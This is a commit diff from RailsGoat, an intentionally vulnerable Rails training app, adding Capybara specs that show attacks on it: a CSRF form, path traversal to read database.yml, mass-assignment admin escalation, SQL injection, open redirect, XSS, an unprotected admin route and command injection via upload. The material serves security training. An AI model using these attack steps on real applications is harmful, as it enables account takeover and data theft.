Merge pull request #48 from chrismo/capybara

MOAR CAPYBARA
This commit is contained in:
Ken Johnson
2013-10-02 16:31:54 -07:00
15 changed files with 175 additions and 32 deletions
+1
View File
@@ -1 +1,2 @@
--color
--backtrace
+6 -3
View File
@@ -6,20 +6,23 @@ feature 'broken_auth' do
@normal_user = UserFixture.normal_user
end
scenario 'TMI during login', :js => true do
scenario 'TMI during login - username' do
visit '/'
within('.signup') do
fill_in 'email', :with => @normal_user.email + 'not'
fill_in 'password', :with => @normal_user.clear_password
end
click_on 'Login'
find('div#flash_notice').text.should == "#{@normal_user.email}not doesn't exist!"
pending(:if => verifying_fixed?) { find('div#flash_notice').text.should == "#{@normal_user.email}not doesn't exist!" }
end
scenario 'TMI during login - password' do
visit '/'
within('.signup') do
fill_in 'email', :with => @normal_user.email
fill_in 'password', :with => @normal_user.clear_password + 'not'
end
click_on 'Login'
find('div#flash_notice').text.should == 'Incorrect Password!'
pending(:if => verifying_fixed?) { find('div#flash_notice').text.should == 'Incorrect Password!' }
end
end
+2 -4
View File
@@ -8,7 +8,7 @@ feature 'command injection' do
end
scenario 'injection attack on file upload', :js => true do
login(@normal_user)
login @normal_user
legit_file = File.join(Rails.root, 'public', 'data', 'legit.txt')
File.open(legit_file, 'w') { |f| f.puts 'totes legit' }
@@ -21,10 +21,8 @@ feature 'command injection' do
attach_file 'benefits_upload', hackety_file
find(:xpath, "//input[@id='benefits_backup']", :visible => false).set 'true'
end
save_screenshot('screenshot.before.upload.png')
click_on 'Start Upload'
end
save_screenshot('screenshot.after.upload.png')
File.exists?(legit_file).should be_false
pending(:if => verifying_fixed?) { File.exists?(legit_file).should be_false }
end
end
+44
View File
@@ -0,0 +1,44 @@
require 'spec_helper'
require 'tmpdir'
feature 'csrf' do
before do
UserFixture.reset_all_users
@normal_user = UserFixture.normal_user
end
scenario 'csrf attack to pto', :js => true do
visit '/'
# TODO: is there a way to get this without visiting root first?
base_url = current_url
login @normal_user
Dir.mktmpdir do |dir|
hackety_file = File.join(dir, 'form.on.bad.guy.site.html')
post_url = "#{base_url}schedule.json"
File.open(hackety_file, 'w') do |f|
f.print <<-HTML
<html>
<body>
<form id='submit_me' action="#{post_url}" method="POST">
<input type="hidden" name="schedule&#91;event&#95;name&#93;" value="Bad&#32;Guy" />
<input type="hidden" name="schedule&#91;event&#95;type&#93;" value="pto" />
<input type="hidden" name="schedule&#91;event&#95;desc&#93;" value="Fun&#32;Fun" />
<input type="hidden" name="date&#95;range1" value="06&#47;08&#47;2013&#32;&#45;&#32;06&#47;09&#47;2013" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
HTML
end
page.driver.visit "file://#{hackety_file}"
within('#submit_me') do
click_on 'Submit request'
end
end
pending(:if => verifying_fixed?) { @normal_user.reload.paid_time_off.schedule.last.event_name.should == 'Bad Guy' }
end
end
+18
View File
@@ -0,0 +1,18 @@
require 'spec_helper'
feature 'sensitive information disclosure' do
before do
UserFixture.reset_all_users
@normal_user = UserFixture.normal_user
@normal_user.work_info.update_attribute(:SSN, '999-99-9999')
end
# this won't work with javascript_driver, as it'll apply the javascript
# function to mask this value and the source will be overwritten.
scenario 'full ssn returned to view' do
login @normal_user
visit "/users/#{@normal_user.user_id}/work_info"
pending(:if => verifying_fixed?) { page.source.should include '999-99-9999' }
end
end
+6 -4
View File
@@ -13,9 +13,11 @@ feature 'insecure direct object reference' do
download_url = first('.widget-body a')[:href]
visit download_url.sub(/name=(.*?)&/, 'name=../../config/database.yml&')
page.status_code.should == 200
page.response_headers['Content-Disposition'].should include('database.yml')
page.response_headers['Content-Length'].should == '576'
pending(:if => verifying_fixed?) {
page.status_code.should == 200
page.response_headers['Content-Disposition'].should include('database.yml')
page.response_headers['Content-Length'].should == '576'
}
end
scenario 'view any user work_info' do
@@ -24,6 +26,6 @@ feature 'insecure direct object reference' do
@normal_user.user_id.should_not == 2
visit '/users/2/work_info'
first('td').text.should == 'Jack Mannino'
pending(:if => verifying_fixed?) { first('td').text.should == 'Jack Mannino' }
end
end
+37
View File
@@ -0,0 +1,37 @@
require 'spec_helper'
feature 'sql injection' do
before do
UserFixture.reset_all_users
@normal_user = UserFixture.normal_user
end
scenario 'mass assignment attack update account_settings' do
@normal_user.admin.should be_false
login(@normal_user)
params = {:user => {:admin => 't',
:user_id => @normal_user.user_id,
:password => @normal_user.clear_password,
:password_confirmation => @normal_user.clear_password}}
page.driver.put "/users/#{@normal_user.user_id}.json", params
pending(:if => verifying_fixed?) { @normal_user.reload.admin.should be_true }
end
scenario 'mass assignment attack create new account' do
params = {:user => {:admin => 't',
:email => 'hackety@h4x0rs.c0m',
:first_name => 'hackety',
:last_name => 'hax',
:password => 'foobarewe',
:password_confirmation => 'foobarewe'}}
page.driver.post '/users', params
pending(:if => verifying_fixed?) {
User.last.email.should == 'hackety@h4x0rs.c0m'
User.last.admin.should be_true
}
end
end
+5 -3
View File
@@ -23,8 +23,10 @@ feature 'sql injection' do
end
click_on 'Submit'
@admin_user = User.where("admin='t'").first
@admin_user.email.should == 'joe.admin@schmoe.com'
@admin_user.admin.should == true
pending(:if => verifying_fixed?) {
@admin_user = User.where("admin='t'").first
@admin_user.email.should == 'joe.admin@schmoe.com'
@admin_user.admin.should == true
}
end
end
@@ -0,0 +1,19 @@
require 'spec_helper'
feature 'unvalidated redirect' do
before do
UserFixture.reset_all_users
@normal_user = UserFixture.normal_user
end
scenario 'login redirects to anywhere', :js => true do
visit '/?url=http://example.com/do/evil/things'
within('.signup') do
fill_in 'email', :with => @normal_user.email
fill_in 'password', :with => @normal_user.clear_password
end
click_on 'Login'
pending(:if => verifying_fixed?) { current_url.should == 'http://example.com/do/evil/things' }
end
end
+15
View File
@@ -0,0 +1,15 @@
require 'spec_helper'
feature 'url access' do
before do
UserFixture.reset_all_users
@normal_user = UserFixture.normal_user
end
scenario 'admin route not protected', :js => true do
login @normal_user
visit '/admin/1/dashboard'
pending(:if => verifying_fixed?) { current_path.should == '/admin/1/dashboard' }
end
end
+1 -2
View File
@@ -18,11 +18,10 @@ feature 'xss' do
fill_in 'user_password_confirmation', :with => @normal_user.clear_password
end
click_on 'Submit'
save_screenshot('screenshot.post.submit.png')
visit '/'
find('form.button_to input.btn.btn-primary').value.should == 'RailsGoat h4x0r3d'
pending(:if => verifying_fixed?) { find('form.button_to input.btn.btn-primary').value.should == 'RailsGoat h4x0r3d' }
# might be nice to demonstrate posting cookie contents or somesuch, but
# this at least shows the vulnerability still exists.
-1
View File
@@ -1 +0,0 @@
require 'spec_helper'
-14
View File
@@ -1,14 +0,0 @@
require 'spec_helper.rb'
=begin
describe "PaidTimeOff" do
user = User.new(
first_name: 'Tester',
last_name: 'MGee',
email: 'tester.mgee@gmail.com',
password: 'password',
password_confirmation: 'password'
)
expect(user).to be_valid
end
=end
+10 -1
View File
@@ -1,6 +1,15 @@
require 'spec_helper.rb'
describe User do
before(:all) do
UserFixture.reset_all_users
DatabaseCleaner.strategy = :transaction
end
after(:all) do
DatabaseCleaner.strategy = :truncation
end
it "can be instantiated" do
User.new.should be_an_instance_of(User)
end
@@ -10,7 +19,7 @@ describe User do
end
it "should require valid email" do
User.new(:email => "tester@gmail.com@gmail.com").should_not be_valid
User.new(:email => "@gmail.com").should_not be_valid
end
it "should require unique email" do
+11
View File
@@ -1,3 +1,14 @@
# By default this will return true, and thus all of the Capybara specs will
# fail until a developer using the site for training has patched up all of
# the vulnerabilities.
#
# However, RailsGoat maintainers need the Capybara features to pass to indicate
# changes to the site have not inadvertently removed or fixed any vulnerabilities
# since the whole point is to provide a site for a developer to fix.
def verifying_fixed?
!ENV['RAILSGOAT_MAINTAINER']
end
def login(user)
visit '/'
within('.signup') do